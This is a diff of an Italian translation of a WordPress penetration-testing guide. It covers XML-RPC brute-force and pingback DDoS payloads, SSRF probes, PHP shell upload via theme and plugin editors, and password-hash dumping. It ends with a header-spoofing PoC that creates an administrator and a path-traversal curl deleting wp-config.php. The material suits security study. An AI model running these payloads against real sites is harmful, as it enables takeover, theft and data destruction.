Translated ['', 'src/welcome/hacktricks-values-and-faq.md', 'src/network

This commit is contained in:
Translator 2025-10-04 09:42:36 +00:00
parent d9baa896a4
commit abf2e7c968
2 changed files with 381 additions and 237 deletions

View File

@ -5,46 +5,46 @@
## Informazioni di base
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** quindi se modifichi qualche php del tema per ottenere RCE probabilmente userai quel percorso. Per esempio: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Themes files can be found in /wp-content/themes/,** quindi se modifichi qualche php del theme per ottenere RCE probabilmente userai quel percorso. Per esempio: Usando **theme twentytwelve** puoi **accedere** al file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- In **wp-config.php** puoi trovare la password root del database.
- Percorsi di login di default da verificare: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- In `wp-config.php` puoi trovare la password root del database.
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files**
### **File principali di WordPress**
- `index.php`
- `license.txt` contiene informazioni utili come la versione di WordPress installata.
- `wp-activate.php` è usato per il processo di attivazione via email durante la configurazione di un nuovo sito WordPress.
- `wp-activate.php` è usato per il processo di attivazione via email quando si configura un nuovo sito WordPress.
- Cartelle di login (possono essere rinominate per nasconderle):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` è un file che rappresenta una feature di WordPress che permette di trasmettere dati con HTTP come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- La cartella `wp-content` è la directory principale dove sono memorizzati plugin e temi.
- `xmlrpc.php` è un file che rappresenta una funzionalità di WordPress che permette di trasmettere dati usando HTTP come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- La cartella `wp-content` è la directory principale dove sono memorizzati plugin e theme.
- `wp-content/uploads/` è la directory dove vengono salvati i file caricati sulla piattaforma.
- `wp-includes/` è la directory dove sono memorizzati i file core, come certificati, font, file JavaScript e widget.
- `wp-sitemap.xml` Nelle versioni di WordPress 5.5 e successive, WordPress genera un file sitemap XML con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili.
- `wp-includes/` è la directory dove sono archiviati i file core, come certificati, fonts, file JavaScript e widget.
- `wp-sitemap.xml` Nelle versioni di WordPress 5.5 e successive, WordPress genera una sitemap XML con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili.
**Post-exploitation**
**Post exploitation**
- Il file `wp-config.php` contiene le informazioni richieste da WordPress per connettersi al database come il nome del database, host del database, username e password, authentication keys and salts, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere usato per attivare la modalità DEBUG, utile per il troubleshooting.
- Il file `wp-config.php` contiene informazioni richieste da WordPress per connettersi al database come il nome del database, host del database, username e password, authentication keys e salts, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere usato per attivare la modalità DEBUG, utile per il troubleshooting.
### Permessi utenti
- **Administrator**
- **Editor**: Pubblica e gestisce i propri e gli altrui post
- **Author**: Pubblica e gestisce i propri post
- **Contributor**: Scrive e gestisce i propri post ma non può pubblicarli
- **Subscriber**: Visualizza i post e modifica il proprio profilo
- **Amministratore**
- **Editor**: Pubblica e gestisce i propri e gli altri post
- **Autore**: Pubblica e gestisce i propri post
- **Collaboratore**: Scrive e gestisce i propri post ma non può pubblicarli
- **Iscritto**: Naviga i post e modifica il proprio profilo
## **Enumerazione passiva**
### **Ottenere la versione di WordPress**
Verifica se riesci a trovare i file `/license.txt` o `/readme.html`
Controlla se riesci a trovare i file `/license.txt` o `/readme.html`
All'interno del **codice sorgente** della pagina (esempio da [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
@ -56,7 +56,7 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (1111).png>)
- File CSS collegati
- File di collegamento CSS
![](<../../images/image (533).png>)
@ -68,11 +68,11 @@ curl https://victim.com/ | grep 'content="WordPress'
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Ottenere temi
### Ottenere Temi
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Estrarre le versioni in generale
### Estrazione delle versioni in generale
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -81,11 +81,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Plugins and Themes
Probabilmente non riuscirai a trovare tutti i Plugins e Themes possibili. Per scoprirli tutti, dovrai **eseguire attivamente Brute Force su una lista di Plugins and Themes** (per nostra fortuna esistono strumenti automatici che contengono queste liste).
Probabilmente non riuscirai a trovare tutti i Plugins and Themes possibili. Per scoprirli tutti, dovrai **actively Brute Force a list of Plugins and Themes** (si spera esistano strumenti automatizzati che contengono queste liste).
### Utenti
### Users
- **ID Brute:** Ottieni utenti validi da un sito WordPress effettuando Brute Forcing sugli ID utente:
- **ID Brute:** Ottieni utenti validi da un sito WordPress tramite Brute Forcing users IDs:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
@ -99,19 +99,19 @@ Un altro endpoint `/wp-json/` che può rivelare alcune informazioni sugli utenti
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Note that this endpoint only exposes users that have made a post. **Verranno fornite solo informazioni sugli utenti che hanno questa funzionalità abilitata**.
Nota che questo endpoint espone solo gli utenti che hanno pubblicato un post. **Verranno fornite solo informazioni sugli utenti che hanno questa funzione abilitata**.
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
Nota anche che **/wp-json/wp/v2/pages** potrebbe leak indirizzi IP.
- **Login username enumeration**: Quando effettui il login in **`/wp-login.php`**, il **messaggio** è **diverso** a seconda che l'**username** esista o meno.
- **Login username enumeration**: Quando effettui il login su **`/wp-login.php`** il **messaggio** è **diverso** e indica se lo **username esiste o meno**.
### XML-RPC
Se `xml-rpc.php` è attivo puoi eseguire un brute-force delle credentials o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo[ using this](https://github.com/relarizky/wpxploit) for example).
Se `xml-rpc.php` è attivo puoi eseguire un credentials brute-force o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo[ using this](https://github.com/relarizky/wpxploit) per esempio).
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
Per vedere se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta:
**Controlla**
**Verifica**
```html
<methodCall>
<methodName>system.listMethods</methodName>
@ -120,9 +120,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Credenziali Bruteforce**
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere usati per il brute-force delle credenziali. Se ne trovi uno puoi inviare qualcosa del tipo:
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere usati per brute-force credentials. Se riesci a trovare uno di questi puoi inviare qualcosa del tipo:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,7 +132,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
</params>
</methodCall>
```
Il messaggio _"Incorrect username or password"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
La stringa _"Nome utente o password non corretti"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
@ -168,18 +168,18 @@ Usando le credenziali corrette puoi caricare un file. Nella risposta apparirà i
</params>
</methodCall>
```
Esiste anche un modo **più veloce** per fare brute-force delle credenziali usando **`system.multicall`**, poiché puoi provare più credenziali nella stessa richiesta:
Esiste anche un **modo più veloce** per brute-force credentials usando **`system.multicall`** poiché puoi provare più credenziali nella stessa richiesta:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Bypass 2FA**
Questo metodo è pensato per programmi e non per esseri umani, ed è vecchio, quindi non supporta la 2FA. Quindi, se hai creds validi ma l'accesso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per effettuare il login con quei creds bypassando la 2FA**. Nota che non potrai eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Questo metodo è pensato per programmi e non per esseri umani, ed è obsoleto, quindi non supporta 2FA. Quindi, se hai creds validi ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per effettuare il login con quelle creds bypassando 2FA**. Nota che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque riuscire a ottenere RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS or port scanning**
Se riesci a trovare il metodo _**pingback.ping**_ nella lista puoi far sì che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.\
Questo può essere usato per chiedere a **migliaia** di siti **Wordpress** di **accedere** a una sola **location** (quindi si causa un **DDoS** su quella location) oppure puoi usarlo per far **Wordpress** **scansionare** una rete interna (puoi specificare qualsiasi porta).
Questo può essere usato per chiedere a **migliaia** di **siti** Wordpress di **accedere** a una singola **destinazione** (così viene causato un **DDoS** in quella destinazione) oppure puoi usarlo per far eseguire a **Wordpress** lo **scan** di una **internal network** (puoi indicare qualsiasi porta).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -193,7 +193,7 @@ Questo può essere usato per chiedere a **migliaia** di siti **Wordpress** di **
Se ottieni **faultCode** con un valore **maggiore** di **0** (17), significa che la porta è aperta.
Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per causare un DDoS.
Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per causare DDoS.
**DDoS**
```html
@ -210,14 +210,14 @@ Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per i
### wp-cron.php DoS
Questo file di solito si trova nella root del sito Wordpress: **`/wp-cron.php`**\
Quando questo file viene **acceduto** viene eseguita una **pesante** MySQL **query**, quindi può essere usato da **attackers** per **causare** un **DoS**.\
Inoltre, per default, `wp-cron.php` viene chiamato ad ogni caricamento della pagina (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
Quando questo file viene **acceduto** viene eseguita una **pesante** MySQL **query**, quindi potrebbe essere usato da **attaccanti** per **causare** un **DoS**.\
Inoltre, di default, il `wp-cron.php` viene chiamato a ogni caricamento di pagina (ogni volta che un client richiede una pagina di Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
Si raccomanda di disabilitare Wp-Cron e creare un vero cronjob sull'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
### /wp-json/oembed/1.0/proxy - SSRF
Prova ad accedere a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e il Worpress site potrebbe effettuare una richiesta verso di te.
Prova ad accedere a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e il sito Wordpress potrebbe effettuare una richiesta verso di te.
This is the response when it doesn't work:
@ -230,7 +230,7 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Questo tool verifica se esiste **methodName: pingback.ping** e il path **/wp-json/oembed/1.0/proxy**; se presenti, tenta di sfruttarli.
Questo strumento verifica se esistono **methodName: pingback.ping** e il path **/wp-json/oembed/1.0/proxy** e, se presenti, prova a sfruttarli.
## Strumenti automatici
```bash
@ -238,24 +238,24 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## Ottenere accesso sovrascrivendo un bit
## Ottenere l'accesso sovrascrivendo un bit
Più che un vero attacco, questa è una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) potevi invertire 1 bit di qualsiasi file di wordpress. Quindi potevi modificare il bit alla posizione `5389` del file `/var/www/html/wp-includes/user.php` per NOP l'operazione NOT (`!`).
Più che un vero attacco, è una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) si poteva invertire 1 bit in qualsiasi file di wordpress. Quindi si poteva invertire il bit alla posizione `5389` del file `/var/www/html/wp-includes/user.php` per trasformare l'operazione NOT (`!`) in NOP.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Pannello RCE**
**Modificare un file php del tema in uso (sono necessarie credenziali admin)**
**Modifica di un file php del tema in uso (credenziali admin necessarie)**
Aspetto → Editor del tema → Template 404 (a destra)
Aspetto → Theme Editor → 404 Template (a destra)
Modifica il contenuto inserendo una php shell:
Cambia il contenuto con una php shell:
![](<../../images/image (384).png>)
Cerca su internet come accedere a quella pagina aggiornata. In questo caso devi accedere qui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Cerca su internet come puoi accedere a quella pagina aggiornata. In questo caso devi accedere qui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -270,7 +270,7 @@ per ottenere una sessione.
### PHP plugin
Potrebbe essere possibile caricare file .php come plugin.\
Crea il tuo backdoor php usando per esempio:
Crea il tuo php backdoor usando per esempio:
![](<../../images/image (183).png>)
@ -278,52 +278,52 @@ Poi aggiungi un nuovo plugin:
![](<../../images/image (722).png>)
Carica il plugin e premi Install Now:
Upload plugin and press Install Now:
![](<../../images/image (249).png>)
Clicca su Procced:
Click on Procced:
![](<../../images/image (70).png>)
Probabilmente apparentemente non succederà nulla, ma se vai in Media, vedrai la tua shell caricata:
Probabilmente apparentemente non succederà nulla, ma se vai in Media vedrai la tua shell caricata:
![](<../../images/image (462).png>)
Accedi e vedrai l'URL per eseguire la reverse shell:
Accedi e vedrai l'URL per eseguire il reverse shell:
![](<../../images/image (1006).png>)
### Caricamento e attivazione di un plugin malevolo
### Uploading and activating malicious plugin
Questo metodo implica l'installazione di un plugin malevolo noto per essere vulnerabile e che può essere sfruttato per ottenere una web shell. Questo processo viene eseguito tramite il WordPress dashboard come segue:
Questo metodo prevede l'installazione di un plugin maligno noto per essere vulnerabile e che può essere sfruttato per ottenere una web shell. Il processo viene effettuato tramite il WordPress dashboard come segue:
1. **Plugin Acquisition**: Il plugin si ottiene da una fonte come Exploit DB, ad esempio [**here**](https://www.exploit-db.com/exploits/36374).
1. **Plugin Acquisition**: Il plugin viene ottenuto da una fonte come Exploit DB, ad esempio [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- Vai al WordPress dashboard, quindi vai a `Dashboard > Plugins > Upload Plugin`.
- Carica il file zip del plugin scaricato.
3. **Plugin Activation**: Una volta che il plugin è stato installato correttamente, deve essere attivato tramite la dashboard.
4. **Sfruttamento**:
- Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato in quanto noto per essere vulnerabile.
- Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, è possibile ottenere una sessione meterpreter, concedendo accesso non autorizzato al sito.
- Si osserva che questo è solo uno dei tanti metodi per sfruttare un sito WordPress.
- Naviga nel WordPress dashboard, poi vai a `Dashboard > Plugins > Upload Plugin`.
- Upload the zip file of the downloaded plugin.
3. **Plugin Activation**: Una volta che il plugin è installato con successo, deve essere attivato tramite il dashboard.
4. **Exploitation**:
- Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato poiché è noto per essere vulnerabile.
- Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, è possibile stabilire una sessione meterpreter, ottenendo accesso non autorizzato al sito.
- Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress.
Il contenuto include elementi visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni devono essere usate responsabilmente e solo in un contesto legale, come penetration testing con esplicita autorizzazione.
Il contenuto include supporti visivi che mostrano i passaggi nel WordPress dashboard per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la corretta autorizzazione. Queste informazioni devono essere usate responsabilmente e solo in un contesto legale, come penetration testing con esplicita autorizzazione.
**Per istruzioni più dettagliate controlla:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## Da XSS a RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o ad altre vulnerabilità critiche in WordPress. Per maggiori informazioni consulta [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per WordPress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per maggiori informazioni controlla [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Crea un utente in WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo plugin personalizzato (backdoor) su WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo custom plugin (backdoor) su WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Modifica un Built-In Plugin in WordPress.
- _**(RCE) Built-In Theme Edit:**_ Modifica un Built-In Theme in WordPress.
- _**(Custom) Custom Exploits:**_ Exploit personalizzati per plugin/theme di terze parti di WordPress.
- _**(Custom) Custom Exploits:**_ Exploit personalizzati per Third-Party WordPress Plugins/Themes.
## Post Exploitation
Estrai nomi utente e password:
Estrai username e password:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
@ -335,25 +335,25 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
### Superficie d'attacco
Sapere come un plugin di Wordpress possa esporre funzionalità è fondamentale per individuare vulnerabilità nella sua logica. Puoi vedere come un plugin possa esporre funzionalità nei punti elenco seguenti e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
Sapere come un plugin Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nella sua funzionalità. Puoi vedere come un plugin potrebbe esporre funzionalità nei punti elencati di seguito e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite handler AJAX. Queste funzioni possono contenere bug di logica, di autorizzazione o di autenticazione. Inoltre, è abbastanza frequente che tali funzioni basino sia l'autenticazione sia l'autorizzazione sull'esistenza di un wordpress nonce che **qualsiasi utente autenticato nell'istanza Wordpress potrebbe possedere** (indipendentemente dal ruolo).
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite handler AJAX. Questi possono contenere bug di logica, autorizzazione o autenticazione. Inoltre, è abbastanza frequente che queste funzioni basino sia l'autenticazione sia l'autorizzazione sull'esistenza di un wordpress nonce che **qualsiasi utente autenticato nell'istanza Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
Queste sono le funzioni che possono essere usate per esporre una funzione in un plugin:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**L'uso di `nopriv` rende l'endpoint accessibile a qualsiasi utente (anche non autenticati).**
**L'uso di `nopriv` rende l'endpoint accessibile da qualsiasi utente (anche non autenticati).**
> [!CAUTION]
> Inoltre, se la funzione verifica solo l'autorizzazione dell'utente tramite la funzione `wp_verify_nonce`, questa funzione verifica soltanto che l'utente sia autenticato, solitamente non controlla il ruolo dell'utente. Di conseguenza utenti con pochi privilegi potrebbero avere accesso ad azioni ad alto privilegio.
> Inoltre, se la funzione sta solo verificando l'autorizzazione dell'utente con la funzione `wp_verify_nonce`, questa funzione verifica solo che l'utente sia autenticato, di solito non controlla il ruolo dell'utente. Quindi utenti con privilegi bassi potrebbero avere accesso ad azioni con privilegi elevati.
- **REST API**
È anche possibile esporre funzioni di wordpress registrando una REST API usando la funzione `register_rest_route`:
È anche possibile esporre funzioni da wordpress registrando una REST API usando la funzione `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -365,19 +365,19 @@ $this->namespace, '/get/', array(
```
La `permission_callback` è una funzione di callback che verifica se un dato utente è autorizzato a chiamare il metodo API.
**Se viene utilizzata la funzione integrata `__return_true`, salterà semplicemente il controllo delle autorizzazioni utente.**
**Se viene usata la funzione integrata `__return_true`, salterà semplicemente il controllo dei permessi utente.**
- **Accesso diretto al file php**
Ovviamente, Wordpress usa PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, nel caso un plugin esponga una funzionalità vulnerabile attivabile semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente.
Ovviamente, Wordpress usa PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, se un plugin espone una funzionalità vulnerabile che viene attivata semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Alcuni plugin implementano scorciatoie di “trusted header” per integrazioni interne o reverse proxies e poi utilizzano quell'intestazione per impostare il contesto dell'utente corrente per le richieste REST. Se l'header non è vincolato crittograficamente alla richiesta da un componente upstream, un attaccante può falsificarlo e colpire rotte REST privilegiate come amministratore.
Alcuni plugin implementano scorciatoie “trusted header” per integrazioni interne o reverse proxy e poi usano quell'header per impostare il contesto utente corrente per le richieste REST. Se l'header non è vincolato crittograficamente alla richiesta da un componente a monte, un attaccante può falsificarlo e colpire route REST privilegiate come amministratore.
- Impact: escalatione dei privilegi non autenticata a amministratore creando un nuovo amministratore tramite la core users REST route.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forza l'ID utente 1, tipicamente il primo account amministratore).
- Exploited route: `POST /wp-json/wp/v2/users` con un array di ruolo elevato.
- Impatto: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
- Header di esempio: `X-Wcpay-Platform-Checkout-User: 1` (forza l'ID utente 1, tipicamente il primo account amministratore).
- Route sfruttata: `POST /wp-json/wp/v2/users` con un array di ruolo elevato.
PoC
```http
@ -393,38 +393,29 @@ Content-Length: 114
```
Perché funziona
- Il plugin mappa un header controllato dal client allo stato di autenticazione e salta i controlli sulle capability.
- WordPress core si aspetta la capability `create_users` per questa route; l'hack del plugin la bypassa impostando direttamente il contesto dell'utente corrente dal header.
- Il plugin mappa un header controllato dal client allo stato di autenticazione e salta i controlli di capability.
- Il core di WordPress si aspetta la capability `create_users` per questa route; l'hack del plugin la bypassa impostando direttamente il contesto dell'utente corrente dall'header.
Indicatori di successo attesi
- HTTP 201 con un body JSON che descrive l'utente creato.
- Un nuovo utente admin visibile in `wp-admin/users.php`.
Lista di controllo per il rilevamento
Checklist di rilevamento
- Grep per `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDKs che leggono header personalizzati per impostare il contesto utente (es. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Revisionare le registrazioni REST per callback privilegiate che non hanno controlli `permission_callback` robusti e che si affidano invece agli header della richiesta.
- Cercare l'uso di funzioni core di gestione utenti (`wp_insert_user`, `wp_create_user`) all'interno di handler REST che sono protette solo da valori di header.
- Cerca con grep `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDKs che leggono header personalizzati per impostare il contesto utente (es. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Revisiona le registrazioni REST per callback privilegiate che non hanno controlli robusti di `permission_callback` e invece si affidano agli header della richiesta.
- Cerca utilizzi delle funzioni core di gestione utenti (`wp_insert_user`, `wp_create_user`) all'interno di handler REST che sono protetti solo da valori di header.
Mitigazioni
### Cancellazione arbitraria di file non autenticata via wp_ajax_nopriv (Litho Theme <= 3.0)
- Non derivare mai autenticazione o autorizzazione da header controllati dal client.
- Se un reverse proxy deve inserire l'identità, terminare la fiducia al proxy e rimuovere le copie inbound (es. `unset X-Wcpay-Platform-Checkout-User` at the edge), poi passare un token firmato e verificarlo lato server.
- Per le route REST che eseguono azioni privilegiate, richiedere controlli con `current_user_can()` e un `permission_callback` rigoroso (do NOT use `__return_true`).
- Preferire auth first-party (cookies, application passwords, OAuth) rispetto all'“impersonation” via header.
WordPress themes e plugin frequentemente espongono handler AJAX tramite gli hook `wp_ajax_` e `wp_ajax_nopriv_`. Quando la variante **_nopriv_** è usata **il callback diventa raggiungibile da visitatori non autenticati**, quindi qualsiasi azione sensibile deve implementare inoltre:
Riferimenti: vedere i link alla fine di questa pagina per un caso pubblico e un'analisi più ampia.
### Eliminazione Arbitraria di File non Autenticata via wp_ajax_nopriv (Litho Theme <= 3.0)
I theme e plugin WordPress espongono frequentemente handler AJAX tramite gli hook `wp_ajax_` e `wp_ajax_nopriv_`. Quando la variante **_nopriv_** viene utilizzata **la callback diventa raggiungibile da visitatori non autenticati**, quindi qualsiasi azione sensibile deve inoltre implementare:
1. Un **controllo delle capability** (es. `current_user_can()` o almeno `is_user_logged_in()`), e
1. Un **controllo di capability** (es. `current_user_can()` o almeno `is_user_logged_in()`), e
2. Un **CSRF nonce** validato con `check_ajax_referer()` / `wp_verify_nonce()`, e
3. **Sanitizzazione / validazione rigorosa degli input**.
3. **Stretta sanitizzazione / validazione degli input**.
Il tema multipurpose Litho (< 3.1) si è dimenticato di implementare questi 3 controlli nella funzionalità *Remove Font Family* e ha finito per distribuire il seguente codice (semplificato):
Il tema multipurpose Litho (< 3.1) si è dimenticato di questi 3 controlli nella feature *Remove Font Family* e ha finito per includere il seguente codice (semplificato):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -445,58 +436,35 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
```
Problemi introdotti da questo snippet:
* **Unauthenticated access** l'hook `wp_ajax_nopriv_` è registrato.
* **No nonce / capability check** qualunque visitatore può raggiungere l'endpoint.
* **No path sanitisation** la stringa `fontfamily` controllata dall'utente viene concatenata a un percorso del filesystem senza filtraggio, permettendo il classico `../../` traversal.
* **Accesso non autenticato** l'hook `wp_ajax_nopriv_` è registrato.
* **Nessun controllo nonce / capability** qualsiasi visitatore può raggiungere l'endpoint.
* **Nessuna sanitizzazione del percorso** la stringa controllata dall'utente `fontfamily` viene concatenata a un percorso del filesystem senza filtraggio, permettendo il classico traversal `../../`.
#### Exploitation
#### Sfruttamento
Un attaccante può eliminare qualsiasi file o directory **sotto la directory base uploads** (normalmente `<wp-root>/wp-content/uploads/`) inviando una singola richiesta HTTP POST:
Un attaccante può eliminare qualsiasi file o directory **al di sotto della directory base degli uploads** (normalmente `<wp-root>/wp-content/uploads/`) inviando una singola HTTP POST request:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
